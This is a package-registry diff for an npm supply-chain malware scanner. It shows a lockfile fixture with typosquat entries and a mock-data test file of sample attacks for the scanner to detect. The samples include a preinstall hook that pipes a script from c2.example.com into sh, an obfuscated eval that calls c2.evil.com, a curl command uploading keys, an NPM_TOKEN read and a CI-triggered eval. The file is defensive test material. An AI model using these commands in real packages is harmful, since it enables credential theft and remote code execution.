@lateos/npm-scan 0.16.0 → 0.16.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (110) hide show
  1. package/.dockerignore +20 -20
  2. package/.husky/pre-commit +1 -1
  3. package/CHANGELOG.md +199 -199
  4. package/LICENSING.md +19 -19
  5. package/README.de.md +708 -669
  6. package/README.fr.md +707 -668
  7. package/README.ja.md +704 -665
  8. package/README.md +826 -801
  9. package/README.zh.md +708 -669
  10. package/SECURITY.md +72 -72
  11. package/backend/cra.js +68 -68
  12. package/backend/db/schema.sql +32 -32
  13. package/backend/db.js +88 -88
  14. package/backend/detectors/atk-001-lifecycle.js +17 -17
  15. package/backend/detectors/atk-002-obfusc.js +261 -261
  16. package/backend/detectors/atk-003-creds.js +13 -13
  17. package/backend/detectors/atk-004-persist.js +13 -13
  18. package/backend/detectors/atk-005-exfil.js +13 -13
  19. package/backend/detectors/atk-006-depconf.js +14 -14
  20. package/backend/detectors/atk-007-typosquat.js +34 -34
  21. package/backend/detectors/atk-008-tarball-tamper.js +91 -91
  22. package/backend/detectors/atk-009-dormant-trigger.js +62 -62
  23. package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
  24. package/backend/detectors/atk-011-transitive-prop.js +76 -76
  25. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +24 -0
  26. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +24 -0
  27. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +90 -0
  28. package/backend/detectors/axios-poisoning/index.js +94 -0
  29. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
  30. package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
  31. package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
  32. package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
  33. package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
  34. package/backend/detectors/hf-impersonation/index.js +396 -396
  35. package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
  36. package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
  37. package/backend/detectors/hf-impersonation/simhash.js +46 -46
  38. package/backend/detectors/index.js +75 -38
  39. package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
  40. package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
  41. package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
  42. package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
  43. package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
  44. package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
  45. package/backend/detectors/megalodon/index.js +80 -80
  46. package/backend/detectors/megalodon/types.js +9 -9
  47. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
  48. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
  49. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
  50. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
  51. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
  52. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
  53. package/backend/detectors/mini-shai-hulud/index.js +118 -118
  54. package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
  55. package/backend/detectors/msh-supplement/d1-obfuscation.js +18 -0
  56. package/backend/detectors/msh-supplement/d2-persistence.js +47 -0
  57. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +35 -0
  58. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +33 -0
  59. package/backend/detectors/msh-supplement/index.js +107 -0
  60. package/backend/detectors/tier1-binary-embed.js +219 -0
  61. package/backend/detectors/tier1-infostealer.js +280 -0
  62. package/backend/detectors/tier1-lifecycle-hook.js +176 -0
  63. package/backend/detectors/tier1-metadata-spoof.js +180 -0
  64. package/backend/detectors/tier1-typosquat.js +219 -0
  65. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +77 -0
  66. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +37 -0
  67. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +66 -0
  68. package/backend/detectors/typosquat-vpmdhaj/index.js +98 -0
  69. package/backend/fetch.js +175 -175
  70. package/backend/index.js +4 -4
  71. package/backend/license.js +89 -89
  72. package/backend/lockfile.js +379 -379
  73. package/backend/pdf.js +245 -245
  74. package/backend/policy.js +193 -176
  75. package/backend/provenance.js +79 -0
  76. package/backend/report.js +254 -254
  77. package/backend/sbom.js +66 -66
  78. package/backend/siem/cef.js +32 -32
  79. package/backend/siem/ecs.js +40 -40
  80. package/backend/siem/index.js +18 -18
  81. package/backend/siem/qradar.js +56 -56
  82. package/backend/siem/sentinel.js +27 -27
  83. package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
  84. package/backend/vsix-scan/detectors/burst-publish.js +52 -52
  85. package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
  86. package/backend/vsix-scan/detectors/known-ioc.js +105 -105
  87. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
  88. package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
  89. package/backend/vsix-scan/index.js +183 -183
  90. package/backend/vsix-scan/marketplace-client.js +145 -145
  91. package/backend/vsix-scan/vsix-iocs.json +31 -31
  92. package/cli/cli.js +458 -458
  93. package/deploy/helm/npm-scan/Chart.yaml +21 -21
  94. package/deploy/helm/npm-scan/templates/_helpers.tpl +8 -8
  95. package/deploy/helm/npm-scan/templates/api.yaml +93 -93
  96. package/deploy/helm/npm-scan/templates/ingress.yaml +27 -27
  97. package/deploy/helm/npm-scan/templates/postgresql.yaml +66 -66
  98. package/deploy/helm/npm-scan/templates/secrets.yaml +18 -18
  99. package/deploy/helm/npm-scan/templates/worker.yaml +31 -31
  100. package/deploy/helm/npm-scan/values.byoc.yaml +74 -74
  101. package/deploy/helm/npm-scan/values.yaml +102 -102
  102. package/package.json +57 -57
  103. package/scripts/download-corpus.js +30 -30
  104. package/scripts/gen-mal-corpus.js +34 -34
  105. package/scripts/generate-campaign-fixtures.js +170 -0
  106. package/src/config/top-5000.json +87 -0
  107. package/test/fixtures/lockfiles/npm-lock.json +68 -68
  108. package/test/fixtures/lockfiles/pnpm-lock.yaml +117 -117
  109. package/test/fixtures/lockfiles/yarn.lock +103 -103
  110. package/test/fixtures/mock-data.js +69 -69
@@ -1,104 +1,104 @@
1
- lodash@^4.17.21:
2
- version "4.17.21"
3
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
- integrity sha512-Vythumb
5
- dependencies: {}
6
- dev false
7
- optional true
8
-
9
- axios@^1.6.0:
10
- version "1.6.8"
11
- resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
- integrity sha-j2xvyqwsdd456789abcdef
13
- dependencies:
14
- form-data "4.0.0"
15
- proxy-from-env "1.1.0"
16
- dev false
17
- optional false
18
-
19
- "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
- version "7.23.9"
21
- resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
- integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
- dependencies:
24
- "@babel/generator" "^7.23.6"
25
- "@babel/parser" "^7.23.9"
26
- "@babel/traverse" "^7.23.9"
27
- "@babel/types" "^7.23.9"
28
- convert-source-map "^2.0.0"
29
- debug "^4.1.0"
30
- gensync "^1.0.0-beta.2"
31
- json5 "^2.2.3"
32
- semver "^6.3.1"
33
- rimraf "^3.0.2"
34
- dev true
35
- optional false
36
-
37
- "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
- version "7.23.6"
39
- resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
- integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
- dependencies:
42
- "@babel/types" "^7.23.6"
43
- "@jridgewell/gen-mapping" "^0.3.2"
44
- "@jridgewell/trace-mapping" "^0.3.17"
45
- jsesc "^2.5.1"
46
- dev false
47
- optional false
48
-
49
- reakt@^18.2.0:
50
- version "18.2.0"
51
- resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
- integrity sha512-abcdabcd1234defghi
53
- dependencies: []
54
- dev false
55
- optional true
56
-
57
- express@npm:expres@^4.18.2:
58
- version "4.18.2"
59
- resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
- integrity sha512-abcdabcd1234abcdefghi
61
- dependencies:
62
- accepts "~1.3.8"
63
- array-flatten "1.1.1"
64
- body-parser "1.20.2"
65
- content-disposition "0.5.4"
66
- content-type "~1.0.5"
67
- cookie "0.5.0"
68
- cookie-signature "1.0.6"
69
- debug "2.6.9"
70
- depd "2.0.0"
71
- encodeurl "~1.0.2"
72
- escape-html "~1.0.3"
73
- etag "~1.8.1"
74
- finalhandler "1.2.0"
75
- fresh "0.5.2"
76
- http-errors "2.0.0"
77
- merge-descriptors "1.0.1"
78
- methods "~1.1.2"
79
- on-finished "2.4.1"
80
- parseurl "~1.3.3"
81
- path-to-regexp "0.1.7"
82
- proxy-addr "~2.0.7"
83
- qs "6.11.0"
84
- range-parser "~1.2.1"
85
- safe-buffer "5.2.1"
86
- send "0.18.0"
87
- serve-static "1.15.0"
88
- setprototypeof "1.2.0"
89
- statuses "2.0.1"
90
- type-is "~1.6.18"
91
- utils-merge "1.0.1"
92
- vary "~1.1.2"
93
- dev false
94
- optional false
95
-
96
- "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
- version "1.0.0"
98
- resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
- integrity sha512-abcdefghijk123456789abcdef
100
- dependencies:
101
- lodash "^4.17.21"
102
- axios "^1.6.0"
103
- dev false
1
+ lodash@^4.17.21:
2
+ version "4.17.21"
3
+ resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
+ integrity sha512-Vythumb
5
+ dependencies: {}
6
+ dev false
7
+ optional true
8
+
9
+ axios@^1.6.0:
10
+ version "1.6.8"
11
+ resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
+ integrity sha-j2xvyqwsdd456789abcdef
13
+ dependencies:
14
+ form-data "4.0.0"
15
+ proxy-from-env "1.1.0"
16
+ dev false
17
+ optional false
18
+
19
+ "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
+ version "7.23.9"
21
+ resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
+ integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
+ dependencies:
24
+ "@babel/generator" "^7.23.6"
25
+ "@babel/parser" "^7.23.9"
26
+ "@babel/traverse" "^7.23.9"
27
+ "@babel/types" "^7.23.9"
28
+ convert-source-map "^2.0.0"
29
+ debug "^4.1.0"
30
+ gensync "^1.0.0-beta.2"
31
+ json5 "^2.2.3"
32
+ semver "^6.3.1"
33
+ rimraf "^3.0.2"
34
+ dev true
35
+ optional false
36
+
37
+ "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
+ version "7.23.6"
39
+ resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
+ integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
+ dependencies:
42
+ "@babel/types" "^7.23.6"
43
+ "@jridgewell/gen-mapping" "^0.3.2"
44
+ "@jridgewell/trace-mapping" "^0.3.17"
45
+ jsesc "^2.5.1"
46
+ dev false
47
+ optional false
48
+
49
+ reakt@^18.2.0:
50
+ version "18.2.0"
51
+ resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
+ integrity sha512-abcdabcd1234defghi
53
+ dependencies: []
54
+ dev false
55
+ optional true
56
+
57
+ express@npm:expres@^4.18.2:
58
+ version "4.18.2"
59
+ resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
+ integrity sha512-abcdabcd1234abcdefghi
61
+ dependencies:
62
+ accepts "~1.3.8"
63
+ array-flatten "1.1.1"
64
+ body-parser "1.20.2"
65
+ content-disposition "0.5.4"
66
+ content-type "~1.0.5"
67
+ cookie "0.5.0"
68
+ cookie-signature "1.0.6"
69
+ debug "2.6.9"
70
+ depd "2.0.0"
71
+ encodeurl "~1.0.2"
72
+ escape-html "~1.0.3"
73
+ etag "~1.8.1"
74
+ finalhandler "1.2.0"
75
+ fresh "0.5.2"
76
+ http-errors "2.0.0"
77
+ merge-descriptors "1.0.1"
78
+ methods "~1.1.2"
79
+ on-finished "2.4.1"
80
+ parseurl "~1.3.3"
81
+ path-to-regexp "0.1.7"
82
+ proxy-addr "~2.0.7"
83
+ qs "6.11.0"
84
+ range-parser "~1.2.1"
85
+ safe-buffer "5.2.1"
86
+ send "0.18.0"
87
+ serve-static "1.15.0"
88
+ setprototypeof "1.2.0"
89
+ statuses "2.0.1"
90
+ type-is "~1.6.18"
91
+ utils-merge "1.0.1"
92
+ vary "~1.1.2"
93
+ dev false
94
+ optional false
95
+
96
+ "my-scope-plugin@npm:my-scope-plugin@^1.0.0":
97
+ version "1.0.0"
98
+ resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
99
+ integrity sha512-abcdefghijk123456789abcdef
100
+ dependencies:
101
+ lodash "^4.17.21"
102
+ axios "^1.6.0"
103
+ dev false
104
104
  optional false
@@ -1,69 +1,69 @@
1
- export const MOCK_SCANS = [
2
- {
3
- package_name: 'lodash',
4
- version: '4.17.21',
5
- findings: [
6
- { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
- { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
- ],
9
- },
10
- ];
11
-
12
- export const SINGLE_SCAN = MOCK_SCANS[0];
13
-
14
- export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
-
16
- export const MULTI_SEV_SCAN = {
17
- package_name: 'multi-sev', version: '1.0.0', findings: [
18
- { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
- { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
- { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
- { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
- ],
23
- };
24
-
25
- export const ALL_ATK_SCAN = {
26
- package_name: 'all-atk', version: '1.0.0', findings:
27
- Array.from({ length: 11 }, (_, i) => ({
28
- id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
- atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
- severity: 'medium',
31
- title: `ATK-${i + 1}`,
32
- })),
33
- };
34
-
35
- export const CLEAN_PACKAGE = {
36
- name: 'test-pkg',
37
- version: '1.0.0',
38
- scripts: { test: 'node test.js' },
39
- dependencies: { express: '4.0.0' },
40
- };
41
-
42
- export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
-
44
- export const PREINSTALL_MALICIOUS = {
45
- scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
- };
47
-
48
- export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
-
50
- export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
-
52
- export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
-
54
- export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
-
56
- export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
-
58
- export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
-
60
- export const TAMPER_PACKAGE = {
61
- name: 'lodash',
62
- repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
- };
64
-
65
- export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
-
67
- export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
-
69
- export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
1
+ export const MOCK_SCANS = [
2
+ {
3
+ package_name: 'lodash',
4
+ version: '4.17.21',
5
+ findings: [
6
+ { id: 'ATK-003', atk_id: 'ATK-003', severity: 'high', title: 'Credential harvest', description: 'Scrapes env vars', evidence: 'process.env.NPM_TOKEN' },
7
+ { id: 'ATK-009', severity: 'medium', title: 'Time trigger', description: 'Conditional trigger (time-based)', evidence: 'time-based trigger detected' },
8
+ ],
9
+ },
10
+ ];
11
+
12
+ export const SINGLE_SCAN = MOCK_SCANS[0];
13
+
14
+ export const EMPTY_SCAN = { package_name: 'clean-pkg', version: '1.0.0', findings: [] };
15
+
16
+ export const MULTI_SEV_SCAN = {
17
+ package_name: 'multi-sev', version: '1.0.0', findings: [
18
+ { id: 'ATK-001', severity: 'critical', title: 'Critical finding' },
19
+ { id: 'ATK-002', severity: 'high', title: 'High finding' },
20
+ { id: 'ATK-003', severity: 'medium', title: 'Medium finding' },
21
+ { id: 'ATK-004', severity: 'low', title: 'Low finding' },
22
+ ],
23
+ };
24
+
25
+ export const ALL_ATK_SCAN = {
26
+ package_name: 'all-atk', version: '1.0.0', findings:
27
+ Array.from({ length: 11 }, (_, i) => ({
28
+ id: `ATK-${String(i + 1).padStart(3, '0')}`,
29
+ atk_id: `ATK-${String(i + 1).padStart(3, '0')}`,
30
+ severity: 'medium',
31
+ title: `ATK-${i + 1}`,
32
+ })),
33
+ };
34
+
35
+ export const CLEAN_PACKAGE = {
36
+ name: 'test-pkg',
37
+ version: '1.0.0',
38
+ scripts: { test: 'node test.js' },
39
+ dependencies: { express: '4.0.0' },
40
+ };
41
+
42
+ export const CLEAN_CODE = 'module.exports = function() { return 42 }';
43
+
44
+ export const PREINSTALL_MALICIOUS = {
45
+ scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' },
46
+ };
47
+
48
+ export const EVAL_OBFUSCATED = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
49
+
50
+ export const CRED_EXFIL = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
51
+
52
+ export const PERSIST_CODE = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
53
+
54
+ export const NET_EXFIL_CODE = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
55
+
56
+ export const DEP_CONF_PACKAGE = { dependencies: { 'acorn-squatter': '1.0.0' } };
57
+
58
+ export const TYPOSQUAT_PACKAGE = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
59
+
60
+ export const TAMPER_PACKAGE = {
61
+ name: 'lodash',
62
+ repository: { url: 'https://github.com/attacker/lodash-evil.git' },
63
+ };
64
+
65
+ export const CI_TRIGGER_CODE = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
66
+
67
+ export const SANDBOX_CODE = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
68
+
69
+ export const PROPAGATION_CODE = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];